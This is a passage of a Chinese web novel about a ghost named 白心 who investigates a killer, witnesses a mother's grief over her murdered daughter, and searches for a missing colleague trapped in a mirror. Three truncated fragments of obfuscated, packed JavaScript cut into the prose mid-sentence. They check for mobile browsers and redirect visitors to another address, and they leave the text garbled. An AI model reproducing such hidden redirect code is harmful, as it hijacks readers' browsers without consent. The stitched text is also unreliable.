那就再相信一次吧。她想,不会比现在更坏了。 “那个叫何威的人,我帮你调查了。”左慈回答,同时向前走了一步,再次用伞罩住白心。 何威。 听到这个名字,白心终于精神了一下,疑惑地看着左慈的脸。 “他也是一个引渡人。”左慈说道。 白心像被人当头棒喝,猛地睁大了眼。她想起刚才马路对面的人,不可置信地看着左慈,终于问道:“可是他……” 可是他明明还活着,还能够开车。 “是的,”左慈语气柔和了一些,明白白心的意思,点头说道,“他和你一样,功德太低,无法被地府收容。” “他早就死了。” 白心的嘴也张大了,听到这个调查结果,她久久说不出话。 然后,她明白了。 何威的刹车是他自己弄坏的。因为他早就死了,所以再死一遍也没关系,运气不好和她一样变成游魂,运气好就和现在一样毫无影响。 他也是来杀她的。 左慈看着白心的表情,知道她已经懂了,于是说道:“他是一个麻烦,但是我们不能轻易动他。” “为什么?” “这是规定,”左慈又说道,“就跟人间不能随意杀人一样,灵魂之间也不能互相残杀。” “可是他都要杀我了!!”白心终于吼了出来,一瞬间,她竟然很想流泪。 在生死面前,居然还要谈规矩。 “这是为了你,”左慈再次皱起眉头,说道,“每个人都有自己的因果,会受到相应的奖罚,我们不会误判任何一个灵魂。” “你杀了他,你的功德就无法挽回了,白心。” 大雨倾盆,白心听到这句话,突然好想笑,觉得好滑稽。杀人犯都拿着刀抵在脖子上了,这个时候想的居然不是反杀,而是功德。 “他应该不知道你已经死了,所以才会开车撞你,”左慈又说道,“但是他为了自己的功德,也不会轻易动你的灵魂。” 谁知道呢。白心摇摇头,表示无法理解,谁知道何威是不是个疯子。 “他杀了我,或者说,”她抬起头,再次问道,“我杀了他,会有什么结果?” 听见白心的问题,左慈轻叹了一口气,眼神由悲悯变成了一种悲凉:“堕入无间地狱,永世不能超生。” 地狱。听见回答,白心一瞬间想起了钟榆,她的灵魂种子就在地狱,无法投胎,永远痛苦地活着。 “你不用担心,”左慈再次说道,同时带着她向前走,“你签了合同,就是正式员工,同时也是特殊小组成员之一,到时候会比现在更安全。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002094|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我和钟槐都会保护你。”她说。 保护。听见这个陌生又熟悉的词语,白心一瞬间愣住了。 上一次听到这个词是钟槐说她小时候保护了钟榆。那天同样是个雨天。 她再次抬起头,看着已经替她挡了很久的雨的左慈。左慈的眼睛微亮,眼里有一种坚定的信念感。 “为什么?”她终于问道。 为什么你也要保护我?白心看着还在人类身体里的左慈,无法发动她的技能读取她的心。 钟槐是因为她的姐姐,那么你呢?白心一动不动地看着左慈的眼睛,想,你又是为什么保护我? “你有一颗纯白之心。”左慈回答。 她没有笑了,语气是前所未有的认真。她看着白心,眼底混合着悲悯和慈爱。 你有一颗纯白无瑕的心。之前高姐在楼道里说的话浮现在耳边,和左慈的这句话重叠。 你妈妈给你取了个好名字。 仅仅如此?白心皱起眉头,问道:“就因为我善良?” 她承认,她是心存善念,甚至善良到了软弱。在这个人善被人欺的世界,她也因为善良吃了不少苦,后来懂得了伪装自己,才渐渐活成了现在还算自洽的边缘人。 善良,是书本教育上代表美好品德的一个词语,小的时候她未曾发觉,但走入社会之后,她发现这个品德竟然这么鸡肋。 不仅鸡肋,甚至变成了一种贬义词。善良,就说明好欺负。 在无数次的怀疑纠结之中,她才终于明白,这个词只适合文明发达的人类社会,而不是弱肉强食的动物世界。所以她不再指望善良能让自己的生活变得更好,帮助她人,只为了自己心安。 但是现在有一个人会因为她的善良而保护她。 左慈摇摇头,笑了:“不止是善良。” “那是什么?”白心不解,追问道,“我还有什么美好品德吗?” 她问得很认真,完全没意识到自己现在这样追着别人问自己优点的行为有多好笑。左慈看着白心诚挚的眼神,忽然大笑了几声,说道:“你自己都不了解自己吗?小白心。” 小白心……白心听见左慈突如其来的称呼和打趣,终于反应过来自己现在在干什么。 她的脸一瞬间爆红,尴尬地抠了抠头发,说道:“我不是那个意思……” “你确实不够了解你自己。”左慈不笑了,低下头认真说道。 她弯下腰,弯到了和白心脸对脸的高度。她真诚地看着白心,再次说道:“白心,你要记住,你远比自己想象的要强大。” 白心看着近在咫尺的左姐的脸,忽然不敢呼吸了。 “所以,打起精神来,”左慈笑了,眉眼弯弯,“我相信你。” 说完,她直起身来,看了一眼手腕上的表,放下手说道:“我还有事,你自己回医院,好吗?” 雨一直下,但是没有刚才那么汹涌,天也没有那么黑了。白心站在左慈的伞下,忽然恢复了力气,她的话语像一道神谕给她的内心注入了力量。 “……好。”白心回答道。 同时,左慈的伞也离开了她,她转过身,看着高大的左慈顶着狂风暴雨,风雨无阻地向前走去。几乎全黑的女人行走在黑雨里,却是那么明朗,清晰,一身光明。 64.命运 雨小了,白心目送左慈远去直到身影消失,转身走上台阶,径直往医院里走去。 住院部门口挤满了人,多是躲雨的,都在抱怨天气突变和气温骤降,白心低着头从抱怨声里穿过,进到住院部一楼,走着走着,忽然听见一阵温和的笑声。 抬起头,前面半米站着一高一矮两个女人。 高的那个身高接近一米八,快和左慈差不多高了,穿着简单的短袖和牛仔裤,看起来很年轻;矮的就很矮了,一米六不到,一头短发,穿着连体牛仔背带裤,看起来像个小孩。 李婧。 两个人慢慢走着,一人一只手拿伞,另一只手里提着看望病人的花篮。她们边走边交谈,语气温柔又平静,时不时笑着,和刚才抱怨的人群形成鲜明对比。 白心看着李婧微笑的侧脸,怔了一瞬。低下头,看见两人手上的东西,才明白她们不是进来躲雨的。 她是来……看我的吗?之前三波人的探望让白心不得不往自己身上想,她转过头,仔细打量了一下李婧旁边的女人,发现她不认识。 不是吧。她否定了自己的想法,没人会带病人都不认识的人来探病吧。 她跟在两人后面,很快进了电梯,李静按下楼层按钮,白心站在角落,看见之后长长呼了一口气。 确实不是来看她的。 李婧人很好,但她真的不想再有人来看她了。白心站在电梯里,又想起了刚才医院门口那几个人,心里一阵疲惫,明明是陈灵帮她接待的人,她却累得话都快说不出来了。 一瞬间,她竟然觉得躺在床上的自己挺好的。不知者无畏,不用面对背叛和真相,永远沉睡。 下一秒,她笑了一下,自嘲地想,连关于自己的真相也要逃避吗? 左慈的话浮现在耳边,她不理解。她被命运割走的东西太多了,亲人、健康、金钱、勇气……以及现在的信任,今日割五城明日割十城,整个人生已经退无可退避无可避了,只剩下一颗没用的纯白之心。 她不断地逃跑,回避真实的世界和人性,已经习惯成自然,时刻准备逃走。 这是强大? “叮——”电梯门开,两人走了出去,白心不自觉跟着她们,不像灵魂,而像失去灵魂的躯壳。 两人不笑了,保持着一种肃穆,白心抬起头来,看见李婧整理了一下头发,对旁边的女人说道:“豆思红的鞋你带来了吗?” “嗯,带来了。”旁边的高个子女人回答道。 白心愣了,看着前面站着不动的两个女人。高个子女人从自己的包里拿出来一个小小的袋子递给李婧,白心站在后面,看见透明袋子里是一只很小的红色儿童布鞋。 那是豆思红的。 和豆思红的第一面还记忆犹新,当时她穿着天蓝色短袖和牛仔裤,小脚上只有一只鞋。 李婧接过塑料袋,说道:“等一会儿你不要说是从哪里捡到的,好吗?” “好。”高个子女人又回答。 两个人简单整理了一下着装,保持着最好的姿态向前走去,白心也赶紧跟上,心里开始砰砰止不住跳。 她们是来看谁的? 她们走到一间病房前,李婧伸出手礼貌敲了敲门,半晌,一个一脸疲态但强打精神笑着的女人打开了门。 李红豆。 白心看见李红豆的脸,加速的心跳停了一拍—— 她上午不是还在百花市场吗? “您好,我们是蓝天幼儿园的老师,”李婧微微点头,说道,“是来拜访豆思红小朋友的家长的。” “我就是。”李红豆也礼貌地点头回应,同时打开了门,让两位老师进去。 白心也往前走,两人一鬼走进了病房,房间里除了她们,还有另外三个人。 病床上一个,旁边的凳子上两个。 都是女人。 白心站在一旁,朝病床上的人看去——一个头发已经花白的老人。 老人插着呼吸机,微微睁着眼,看见来人后也没有什么反应,只是嘴唇慢慢蠕动着,似乎想说什么。 “妈,”李红豆把腰弯下去,贴在老人耳边说道,“这是豆豆幼儿园的老师,来看你的。” 豆思红的外婆。白心看着老人,明白过来,这是带豆思红的外婆。 她又抬起头朝旁边看去,坐在凳子上的两个女人都站了起来,一个帮李婧和高个子女人把东西放下,另外一个给两人搬了两把椅子。 “谢谢园长。”李婧点头道谢,然后拉着女人坐下了。 “肖老师,李老师,”被叫做园长的女人搬完凳子后也坐了下来,微微笑着,说道,“还有王老师,感谢你们愿意陪我这个罪人一起来。” 被她叫到的王老师放好东西后也坐下了,此刻听见园长的话,没有说话,只是低着头。 四个女人围着病床坐成了半圆,白心站在李婧的后面,看见王老师咬着嘴唇,表情是掩饰不住的悲伤,她轻微颤抖着,时不时咽着口水。 这是豆思红的老师。白心看懂了,今天她们是陪着园长来给豆思红的家长道歉的。 李红豆和老人说完话之后直起身来,听见园长的话之后叹了口气。 她什么也没说,只是往后一坐,和她们一样坐在了病床旁的椅子上。 “对不起,豆思红妈妈,”园长看着李红豆,眼里充满了歉意和伤感,“确实是我们的管理失误,才酿成了这场大祸,这是我个人的一点赔偿,还请你收下。” 她的手里不知道什么时候多了一个厚厚的信封,说完后站了起来,弯下了腰,双手拿着递给李红豆。 李红豆没有接。 白心转过头,看见李红豆的侧脸,她面无表情,低垂着眼,不知道在想什么。 空气一瞬间有些凝滞,没有一个人再说话。白心看了一眼李红豆,又转过头看着这个蓝天幼儿园的园长,她也很高,可能比左慈还高,此时弯着腰,眼睛直直地看着地板,一眨也不眨,似乎不是在道歉,而是在等待一场审判。 她的气场很足,年龄应该比在座其他三位老师都大,白心又把视线转移到王老师身上,看见她年轻的脸庞青白,此时咬着嘴唇,身体抖如筛糠。 她看着这个和她差不多大的老师,知道在职业生涯初期就遇到这种事肯定害怕得不行。 李红豆迟迟没说话,把这场审判变成了一场凌迟。 在场的每一个人都仿佛被人拿刀慢慢刮着心脏,每一次跳动都是难以言说的痛苦。白心看着房间里所有的女人,心里也忽然像被什么堵住了似的难以呼吸。 “豆……”还是心思敏感的李婧先开口,试图打破这场沉默。 “不用了。” 李红豆终于开口,打断了李婧的话。 “你们已经尽力了。”她说。 白心看向李红豆,她低着的头更低了,此时看着自己放在大腿上的双手,慢慢说道:“王老师,你的医药费我也没给你,所以你们也不用给我了。” 医药费——白心看向王老师,才发现她的右手小臂一片白色。 她背对着阳台坐着,背光让白心没有看清她的身体,此时聚焦目光,才发现她的手臂上不是白色的冰袖。 而是绷带。 她想起豆思红的死因,联想到之前李婧说的关于凶手的话,忽然意识到了什么。 王老师和凶手搏斗过。 听到这句话,王老师终于崩溃,捂着脸哭了起来:“对不起,对不起……” 她本就颤抖的身体因为哭泣抖动得更加厉害了,旁边的园长却仍然像一根半弯钢钉扎在地上一动不动。肖老师看到王老师哭了,立马站了起来想要安慰她,却被李婧一把拉了下来坐好。 李婧:“豆思红妈妈,我有个东西要给你。” 说完,她从包里拿出了刚才肖老师给她的袋子,微笑着递给了旁边低着头的李红豆。 李红豆听见王老师哭并没有抬起头,她两只手放在腿上,看着自己的手心发呆。此时一只手从旁边伸了出来,手上是一个小小的透明袋子,里面的东西她很眼熟。 李婧也没有再说话,只是把豆思红的鞋轻轻放在了李红豆的手心里。 李红豆怔了一瞬,看着手心里那只小小的、属于她女儿的红色布鞋发愣。 然后,她站了起来。 其他人被她突然的站立吓了一跳,包括白心,她看见李红豆捧着鞋,胸口不断起伏,呼吸幅度越来越大,好像一座火山即将喷发。 王老师抹着眼泪,看着站起来的李红豆,想要说什么,然而李红豆却突然一只手拿起了豆思红的鞋,越过李婧朝她冲了过来。 园长也站了起来,她看见李红豆面无表情地朝她们跑过来,虽然无表情,却好似已经到了极限,面具即将分裂。 她懂了。 她为李红豆让开了身体,同时李婧也懂了,再一次拉住了站起来想要拦住李红豆的肖老师。 李红豆越过李婧和肖老师,越过园长和王老师,一口气冲到了阳台。 白心这才发觉雨不知道什么时候完全停了,她看着李红豆冲到了阳台上,站在了阳光里。医院的阳台很小,只有一扇半开的窗,甚至不能称之为阳台,白心看到上面挂满了老人和李红豆的换洗衣物,其中还有几件很小、很小的衣服,此刻随着窗外吹来的风轻轻飘荡着。 李红豆就站在这些飘荡的衣服下放声大哭。 雨过天晴,窗外的天空变蓝,太阳重新升起,一切恢复秩序,一位母亲失去了希望。 衣服洗过之后脏污会消失,气味也会被掩盖,李红豆站在充满洗衣粉清香的衣物之下,抱着豆思红的旧鞋子放任自己嚎啕大哭。 上面有女儿的味道。 几乎是一瞬间,在场的四个人眼圈全部红了。肖老师和王老师年纪小点,没有经历过这么大的情感冲击,此时眼泪夺眶而出,擦都来不及。李静经历过好友的死亡,又或是提前预知了李红豆的崩溃,比其他两个人要好一点,只是不断咽着口水。 园长没有哭。她直起身体,把手里准备好的钱轻轻地放在了床尾,眼圈微红,轻叹了一口气。床上的老人听见哭声,转过头看着自己的女儿,嘴唇翕动,不知道在说什么。 死亡怎么会是一件不悲伤的事。 白心看着痛哭的李红豆,想起来朱萸说死亡并不一定是一件悲伤的事。她看见李红豆紧紧攥着豆思红的鞋捂在胸口上,痛苦得已经没有办法了,甚至躬起了身体。 在百花市场的时候她压抑着自己,没有放声大哭,只是不断地看着豆思红的照片,此时摸到女儿的遗物,无论如何也没办法伪装了。 白心的心里忽然一阵绞痛。 她读不到人类的心,无法完全感同身受,却还是被这种极致的悲痛感染了。她呆呆地看着李红豆,眼泪不自觉流了下来。 她甚至更加理解了刘晓希,哪怕她未曾读到过她的心。 床上的老人忽然激动地叫了起来,园长立即走到床边,按下了呼叫铃,并附身在老人耳边倾听着。白心转过头来,看见了床尾病例卡片上面老人的名字。 红云。 红云,李红豆,豆思红。 “走吧,”园长直起身来,对着三位老师说道,“老人家说,给她女儿一点时间。” 三个姓氏,两对母女,一种母爱。 红豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012445|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生南国,春来发几枝,愿君多采撷……此物最相思。豆思红一直想念着李红豆,远在外地的李红豆也一直爱着自己的母亲。 母爱的反作用力,是女儿对母亲的爱。两根脐带连着三个女人,她们相互给予,互相爱着。 全部人站了起来,园长招呼着几个人往外走。白心也跟着走,边走边回头,看见李红豆已经蹲了下来,哭到哭不出来了。 护士们推门进来,白心转回了头,跟在李婧的后面走了出去。 她忽然觉得,之前在百花市场对李红豆的判定是错误的,她不是会强大起来。 而是她本就强大。 强大不完全是责任和承担,也不简单定义为坚强和勇敢,还有允许自己崩溃和脆弱。 李红豆没有逃避女儿的遗物,相反,她接受了这种巨大的伤痛,并允许自己悲伤。 而她自己,甚至都不敢悲伤。白心在眼泪中想,她之所以不断逃避,就是不敢面对,她害怕自己一旦崩溃就无法挽回,流露出一点脆弱就脆弱到底。 所以她几乎不为自己掉眼泪。 几个人一言不发,在走廊上站好。李婧从包里拿出一包抽纸,分发给其他三个人,几人接过纸,都慢慢地擦着脸上的眼泪。 “你们知道她回来是做什么吗?”园长捏着纸,长长的手臂张开,揽着三个老师往电梯方向走。 “什么?”王老师还没缓过劲来,边哭边问。 “给她的女儿改姓。”园长回答。 李婧站在最旁边,走到电梯旁按下按钮,问道:“改姓?你是说和她姓吗?” “对,”园长点头,同时把自己手里的纸递给王老师,“她打算给孩子更名为李思红。” 李思红。白心站在四人后面,听到这个名字之后像被人戳了一箭。 她也是和妈妈姓的。白心愣了,想起之前在舅舅家的某一天,他提到当年她妈非要给她改姓的事。 舅舅端着酒杯,在饭桌上告诉她她妈是怎么和她爸吵架,使出万般手段也非要给她改姓白的经过。 “小孩的爸爸姓豆,是个建筑工人,”园长又说道,“她离完婚就打算回来给孩子改姓,没想到刚离完孩子就出事了。” 电梯开了,李婧率先走了进去,园长揽着剩下两位老师的肩膀往里走。 白心跟在园长三人后面,刚进入,电梯门就被李婧伸手关上了。她再次站在角落,转身看着这四个来自蓝天幼儿园的女人。 王老师的纸用完了,眼泪却还是止不住,她伸出手向李婧要纸,边哭边说:“我从来没见过孩子爸爸,只有开学的时候她妈妈来了,后面都是外婆来接的……” “离婚?”李婧再次从包里掏出纸,递给王老师,说道,“原来不是因为这件事离的婚吗?” 白心站在角落,听着她们讨论豆思红的爸爸妈妈。 这件事,指的就是豆思红被杀。白心和李婧一样感到疑惑,同时看向园长。 李红豆在豆思红遇害之前就和她爸爸离婚了。她们都以为李红豆是听到豆思红出了事才要离婚的。 电梯下行,一时陷入了寂静。听到这个问题,园长许久没有说话,半晌,才回答道:“是的,她爸爸家暴她妈妈,所以李红豆决定离婚。” 家暴? 白心的双眼猛地睁大,看到园长叹了一口气,再次说道:“李红豆和她前夫离婚之后,前夫无处施暴,有一天喝醉了,就把气撒到了工友身上,那个工友精神有点问题,直接坐车回来……” “没办法,”园长再次叹气,说道,“老人家也因此突发心脏病住院了。” “这是一场彻头彻尾的悲剧。” 她的声音回荡在电梯里,平静中透露出悲哀。 “叮——”电梯门开,四人走了出去,白心张着嘴,心中久久不能平静。 王老师终于哭完了,把手里的纸顺手丢到电梯门旁的垃圾桶里,说道:“而且……而且小孩的自闭症也是来自父系遗传,这个产检的时候很难查出来,这真的是命运。” 四人向出口走去,白心跟在后面,终于完整地听到了这个故事。 怎会如此。 婚姻中的李红豆觉醒了,而她的觉醒间接造成了孩子的死亡,她做好了给孩子改名和回来过新生活的准备,然而一切如泡影般破碎了。 如同豆思红的自闭症。李红豆怀胎十月生下她,想必过程中已经做了全套检查,然而千算万算,终究抵不过天算。 这就是命运。 天地不仁,万物为刍狗。白无常的话再次浮现在耳边,更加加深了她对这句话的记忆。当时她就不这么认为。 这天道果然是不公的。白心走在四人的旁边,窗外天空已放晴,而她的心如同坠入冰窖一般冰凉。 命运果然是天底下最烂的编剧。 听见王老师的话,其他三个人只是叹气,没有再说话。这场悲剧已经足够悲惨,任何言语都无法再描述,沉默即是所有见证者的哀悼。 四人走到住院部门口,看见阳光灿烂,地面还是湿润的,证明着刚才下过一场大雨。 “走吧。”园长再次伸出手臂,揽着三位老师向前走。 白心站在大门的台阶上,没有了躲雨的人,身边空荡荡的,只有不断来往的路人。她目送四个女人远去,想起刚才李红豆撕心裂肺的哭声,忽然觉得一阵彻骨的寒冷。 她抬起头,看见太阳从云层里探出头来,而她看着温暖的太阳,心里却有一种十分危险的感觉。 她浑身冰凉,身体轻微颤抖着,仿佛看见的不是太阳,而是一条深不见底的深渊。 而这条深渊的名字就叫做,命运。 65.画镜(一) 她就这样在大门口站着,抬起头看了会儿太阳,直到一阵急促的铃声响起。 “叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~”熟悉的欢快铃声响起,白心低下头往里站了站,看见弹出来的屏幕里是个从来没给她打过电话的人。 王二。 打的还是视频电话。 电话接通,屏幕那边的男生立马开始对着她结结巴巴说话:“她,她,不见了……” “谁?”白心皱起眉头,看着急得开始用手比划的人,谁不见了? 手忙脚乱的王二还没说出下一句话,白心就明白了,还能有谁不见了。 钟槐不见了。 “说清楚!”白心无暇顾及自己伤颓的心情,几乎是立刻吼着对王二说道,“她在哪儿不见的!” 屏幕那边的王二听到白心的吼声,愣了一愣,然后才结巴回答道:“百,百……” 连续百了十来个,也还是没说出来具体位置。 啧。白心伸手扶额,忘了他失忆了,现在是还没被完全学会人话的狗。 “你在哪儿?”她看着着急的男生,放下手问道。 “旁,旁边。”王二回答。 旁边?白心又问道:“我的旁边?” 屏幕那头的狗点头。 看来他是想来找她。白心立即明白了,说道:“你赶紧过来,我到医院门口等你,我们一起去你说的那个地方。” 听到白心的话,王二用力地点了一下头,嗯了一声,挂断了电话。 男生的脸消失,白心看着好友列表,五个人只有一个人在线。 左慈。 她立即伸出手指开始拨打左慈的电话,很快,左慈的脸出现在屏幕里。 白心言简意赅:“钟槐不见了。” “我知道,刚才王二已经给我打了电话,”左慈的表情很严肃,说道,“她的手环定位器被屏蔽了,我也找不到她。” “怎么会这样?”白心问道,钟槐怎么会突然不见? 而且,钟槐可是大名鼎鼎的天师后人,不说武力超凡,连名头都能吓死一堆鬼,谁敢动她? “应该是捉鬼的时候出了些问题,”左慈虽然也着急,但是很冷静,“等我找人查查。” “好。”电话挂断,左慈的脸消失。 白心再次抬起手,下意识想要给朱萸打电话找人,然而下一秒想起她现在还在人类的身体里,已经不是神仙土地婆了。 那么代理土地婆呢? 白心看着屏幕,江羽依的头像右下角适时地出现了一个绿色圆点,代表着她上线了。 也管不得什么社恐不社恐了,白心再一次伸出手指,立即拨打江羽依的电话。 接通的间隙,只听一阵天崩地裂的机车炸街声音从远处呼啸而来,速度很快,声音很大,仅仅十来秒就冲进了医院,停在了白心的面前。 白心从听到声音开始就知道王二来了。她转过头,看着王二从医院的大门冲进来,连人带车停在了住院部的门口。 他穿着灰色防护服,戴着灰色的头盔,头盔里的两只眼睛红红的。 他看见白心,立即又伸出了两只手开始比划,同时嘴里也不断结巴地说着话。 他急得快哭了。 “好了好了,”大事临头白心反而冷静了,她一边看着屏幕一边安抚他,“我知道了,我这就跟你走。” 江羽依没接电话。 算了。白心叹了口气,同时取出头盔和机车,关掉了手环。 和不熟的同事就是这样。她走到太阳底下,戴好头盔爬上机车,心里已经为对方找好了理由。 “走吧。”她下巴一抬,对着王二发出指令,示意他可以带路了。 王二再次狠狠地点了一下头,单脚踩地,双手握住车把,发动机车一百八十度转了个弯,带着白心直奔钟槐的失踪地点。 白心的机车屏幕亮起,提示她选择目的地。 “跟着他。”她说道。 一黑一白两辆车离开了这个充满生死之地,奔向一个不知道是生是死的地方。白心跟在王二的后面,和他保持着同一速度,相距半辆车的距离。 烈日炎炎,两个鬼在太阳底下飞驰,白心伏低身体,微微抬头,看着王二的后背。 准确地说,是看着王二心脏,也就是灵魂种子所在的地方。 读不到。 有距离限制?还是对象限制?白心仔细感受了一下,发现自己并没有像共情豆思红那样读到王二的心。 不都是鬼吗,王二不可以?她加速了一下,和王二的机车错开,两辆车从侧面看去重叠了一半。 下一秒,她想起来了。 王二没有心。 准确地说,是没有灵魂种子。白心想了起来,王二之前是个恶鬼,灵魂种子已经被钟槐强行取出了。 而她只能读到灵魂种子里的执念,共情她们内心的情绪,并不能随意读取脑袋里的想法。 怎么感觉很鸡肋啊? 白心啧了一声,忽然觉得自己这个技能有点没用,有点像被削弱了的神器。 但其实不读她也大概知道王二什么心情。白心微微侧过头,看见王二死死盯着前方,油门已经拧到了最大。 他都急得快说话了。 白心叹了口气,转过头,重新看着前面的道路,忽然觉得哪里不对。 这路怎么这么眼熟? 白心眉头一皱,大脑开始回忆,结合王二刚才结结巴巴吐出的地点,几秒后,像被人敲了一榔头一样醒悟了过来。 百……百花市场! “是不是百花市场!”白心又转过头,对着旁边的王二喊道。 王二听到白心说话,转过脸来看着她,狠狠地点了一下头,同时眨了眨眼,不太明白为什么白心突然推理了目的地。 四楼有一片红色的区域。白心不再看他,而是想起了朱萸的话。 “叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~~”与此同时,左慈的电话打了进来。 她迅速接通,看着左慈的脸说道:“我知道了!她在百花市场!” “是,”左慈回答,同时说道,“我正在往那边赶,那是个E级马上升S级的亡魂,你不要去了。” 说完,她看着白心,表情严肃。 听见左慈的话,白心愣了一下,然后看了一眼旁边的王二。虽然她不是那种知道前方危险还不管不顾自动送死的人,但是现在,她确实无法坐以待毙。 更何况旁边还有个为爱冲锋真的不怕死的人。 “我和你一起去,可以吗?”她看着左慈,问道,“我在百花市场三楼通往四楼的入口处等你。” 很快她们就是要一起并肩作战的队友,她无法说服自己完全不管。 况且她早已把钟槐当作自己的妹妹。 “好。”这次左慈没有拒绝,像早已预料到白心的话,微笑着回答。 听见左慈的许可,白心终于松了口气,挂掉了电话。 通过在幸福小区的相救,以及上次对她的邀请,还有刚才在暴雨下神谕般给予她力量的话语,她已经不知不觉自动将左慈视为了她们的行动总指挥。 她很靠谱,同时冷静,左姐给她的感觉就是温和版张蔷,虽然还没有一起作战过,但她就是觉得左慈对局势的判断不会出错。 她可以信任。 “叠个千纸鹤,再系个红飘……”铃声再次响起,白心抬起头来,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012446|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见江羽依给她回电了。 她立即接通,齐刘海娃娃脸出现在她的屏幕里,问道:“什么事?” 语气还是那么疏离和微微不耐烦。 在天上清净习惯了吧,人间确实很吵。白心又在心里为她找了理由,同时开口说道:“啊,我是想找你帮我查一个人的位置,但是现在已经不用了。” “是钟槐么?”江羽依问道。 白心的双眼睁大,问道:“你怎么知道?” “刚才已经有人找过她了。”江羽依回答。 刚才……白心又问道:“是不是一个叫左慈的人?” “嗯,”江羽依轻点了一下头,说道,“她目前在百花市场四楼的某个镜子里。” 等等—— 白心不仅眼睛睁大了,眉毛也挑高了,再次问道:“镜子里?” 江羽依也是见惯了大大小小的鬼,看见白心一脸没见过世面的表情,不耐烦地回答:“是啊,但是具体哪一扇镜子就不知道了,你们要自己去找。” 额…… 怎么还不能精准定位吗,她看着皱着眉头盯着她看的代理土地婆,又问道:“可不可以跟我说一下你看到的具体情况?” 听见白心的问题,江羽依轻轻啧了一声,右手在屏幕前一挥:“你自己看吧。” 得益于江羽依害怕吵闹和追问的特质,白心终于得以看见土地婆是如何找人的。 江羽依的面前出现了一副地图。 地图向前移动,一直移动到完全融进了屏幕,和屏幕的大小完美贴合。白心看到这是整个城市的地图,但不是平面的,而是立体的。 有点儿像……售楼处的那种模型。 地图里有个红色圆点,圆点里面是两个黑体字:钟槐。白心睁大眼睛,看见代表钟槐的小圆点从太阳小区她们那一栋的二楼,也就是左慈家开始移动,一路去了很多地方。 先是墓园,然后是蓝天幼儿园,再然后是白心在的医院,之后到了幸福小区,最后停在了百花市场的四层。 红色圆点停在了百花市场里,上面飘着一行字:白云区百花市场大楼四楼镜子售卖处。 这…… 白心看着地图里钟槐的红色动线,惊讶于她一天竟然去了这么多地方。 不仅如此,图上还有各种各样的颜色。白色蓝的红的黑的,有的大有的小,出现在地图的很多地方,白心看着这些散落在城市里的颜色,知道这些都是还未被人收走的亡魂。 她看向钟槐最后出现的地方,百花市场的四层,满满的一层红色。 不是暗红,而是血红。鲜血一样的红色充斥着整个四楼,满得几乎快要溢出来。 “好了,”江羽依的手又是一挥,地图瞬间消失,“可以了吧。” 她看着白心,说道:“我还有事。” “可以了,”白心咽了口口水,知道她打两份工也不容易,赶紧回答道,“你去忙你自己的事吧。” “嗯。”江羽依回答,关掉了通话。 与此同时,她们也到达了目的地。旁边的王二停了下来,白心立即刹车,看见他几乎是跳着下车,急不可耐地就往百花市场大楼里跑,机车都忘了收进手环里。 “你等一下!” 白心看着王二飞奔的身影,大喊道。然而他似乎没听见,甚至跑得越来越快,几乎跑成了残影。 哎—— 白心看着为爱疯狂的王二消失在一楼,也赶紧爬下了车,收好车之后把武器和手铐取了出来,快速向大楼里走去。 烈日炎炎,她抬起头来看了一眼,并没有看见和地图上一样的红色。 整栋大楼还是陈旧的灰色调,宛若被时代抛弃了一般充满脏污、灰尘、以及死寂。 66.画镜(二) 有点奇怪。 白心低下头,抬起手腕看了一眼时间,下午三点半。 暴雨过后的天格外的蓝,光线也特别清晰,一场雨让所有飞扬的尘埃落定,然而百花市场还是那么混沌和模糊不清。 白心把手铐挂在腰间的牛仔裤上,戴着头盔,右手紧紧拿着哭丧棒,小心快速地从一楼进入。 明明上午才来过,感觉已经完全不同了。 一楼仍然是那些二手旧家具,太阳已经从东边跑到西边,此时的一楼一点阳光都没有,那些劣质木材制成的家具看起来更加腐朽,蒙着薄薄的一层灰,没有飞舞的灰尘,一点生命气息都没有。 白心走上通往二楼的台阶,站在扶手边抬起头从楼梯的缝隙往上看。 楼梯的扶手层叠交错,仿佛独立出来的异次元空间,白心小心地靠在扶手上,歪着脑袋看向楼顶。 她看到了半个人头。 不是一个头,而是半个头。也不是露出两只眼睛的上半个头,而是只有一只眼睛的左半个头。 在层层叠叠的扶手之间,一只圆圆的眼睛在黑暗里幽幽地看着她。 一个人正趴在扶手上往下看。 白心猛地一抖,心跳差点停了。她闭上眼睛骂了一句,再次睁眼,那个看不出男女的半张脸就消失了。 是不是油饼?白心的左手捂着心口,开始闷着头往上走,边走边骂街,有病吧?是有病吧?谁家好人没事趴在楼梯往下看啊? 她本意是想看看四楼到底是不是红色,结果就给她整这出。 看不出男女,但是脸很小,大概是个小孩。 